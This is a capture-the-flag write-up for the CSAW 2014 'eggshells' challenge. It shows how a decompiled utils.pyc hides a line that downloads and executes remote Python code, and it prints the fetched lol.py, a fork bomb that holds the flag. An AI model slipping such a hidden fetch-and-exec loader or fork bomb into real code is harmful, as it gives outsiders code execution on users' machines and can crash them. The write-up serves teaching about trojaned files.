CSAW CTF Quals 2014 - eggshells (100pts) writeup

The challenge description was: I trust people on the internet all the time, do you?

Well that sounds kind of scary for a hint, let's see what type of file it is:

```
mrt:~/csaw/eggshells$ file eggshells
eggshells: Zip archive data, at least v1.0 to extract
```

The Zip archive is full of stuff! Windows binary (nasm) and a lot of python files as well.

```
mrt:~/csaw/eggshells$ cd eggshells-master/

mrt:~/csaw/eggshells/eggshells-master$ ls -R
.:
total 96
drwxr-xr-x 3 mrt mrt  4096 Sep 19 00:55 .
drwxr-xr-x 4 mrt mrt  4096 Sep 21 18:09 ..
-rwxr-xr-x 1 mrt mrt  1051 Sep 19 00:54 capstone.py
-rwxr-xr-x 1 mrt mrt  1191 Sep 19 00:54 distorm.py
-rw-r--r-- 1 mrt mrt  6148 Sep 19 00:55 .DS_Store
-rwxr-xr-x 1 mrt mrt   483 Dec 19  2013 .gitattributes
-rwxr-xr-x 1 mrt mrt  2643 Dec 19  2013 .gitignore
-rwxr-xr-x 1 mrt mrt 29446 Sep 19 00:54 interpreter.py
-rwxr-xr-x 1 mrt mrt  5439 Sep 19 00:54 main.py
drwxr-xr-x 3 mrt mrt  4096 Sep 19 00:30 nasm
-rwxr-xr-x 1 mrt mrt  4086 Sep 19 00:54 nasm.py
-rwxr-xr-x 1 mrt mrt   622 Sep 19 00:54 server.py
-rwxr-xr-x 1 mrt mrt  2876 Sep 19 00:54 shellcode.py
-rw-r--r-- 1 mrt mrt   245 Sep 18 23:51 utils.pyc
-rwxr-xr-x 1 mrt mrt   107 Sep 19 00:55 wrapper.py

./nasm:
total 1124
drwxr-xr-x 3 mrt mrt   4096 Sep 19 00:30 .
drwxr-xr-x 3 mrt mrt   4096 Sep 19 00:55 ..
-rw-r--r-- 1 mrt mrt   6148 Sep 19 00:30 .DS_Store
-rwxr-xr-x 1 mrt mrt   1521 Dec 19  2013 LICENSE
-rwxr-xr-x 1 mrt mrt 747008 Dec 19  2013 nasm.exe
-rwxr-xr-x 1 mrt mrt 376320 Dec 19  2013 ndisasm.exe
drwxr-xr-x 2 mrt mrt   4096 Dec 19  2013 rdoff

./nasm/rdoff:
total 460
drwxr-xr-x 2 mrt mrt  4096 Dec 19  2013 .
drwxr-xr-x 3 mrt mrt  4096 Sep 19 00:30 ..
-rwxr-xr-x 1 mrt mrt 58880 Dec 19  2013 ldrdf.exe
-rwxr-xr-x 1 mrt mrt 49664 Dec 19  2013 rdf2bin.exe
-rwxr-xr-x 1 mrt mrt 49664 Dec 19  2013 rdf2com.exe
-rwxr-xr-x 1 mrt mrt 49664 Dec 19  2013 rdf2ihx.exe
-rwxr-xr-x 1 mrt mrt 49664 Dec 19  2013 rdf2ith.exe
-rwxr-xr-x 1 mrt mrt 49664 Dec 19  2013 rdf2srec.exe
-rwxr-xr-x 1 mrt mrt 43520 Dec 19  2013 rdfdump.exe
-rwxr-xr-x 1 mrt mrt 37376 Dec 19  2013 rdflib.exe
-rwxr-xr-x 1 mrt mrt 46080 Dec 19  2013 rdx.exe
```

I quickly skimmed the source of the various python files, many of them contained shellcode and really.. as the hint said how much do you trust the internet anyway. This is when I noticed the compiled python file: utils.pyc

Let's decompile this file since it's the only one of its kind:

```
mrt:~/csaw/eggshells/eggshells-master$ uncompyle2 utils.pyc
# 2014.09.21 18:14:46 EDT
#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
+++ okay decompyling utils.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed
# 2014.09.21 18:14:46 EDT
```

Well that's pretty interesting, it's trying to run a python file hosted online. Let's download and see the source of this sneaky lol.py:

```
mrt:~/csaw/eggshells/eggshells-master$ wget http://kchung.co/lol.py
Saving to: `lol.py'

100%[=================================>] 111         --.-K/s   in 0s

2014-09-21 18:15:50 (7.02 MB/s) - `lol.py' saved [111/111]


mrt:~/csaw/eggshells/eggshells-master$ cat lol.py
import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}
```

We got our flag: trust_is_risky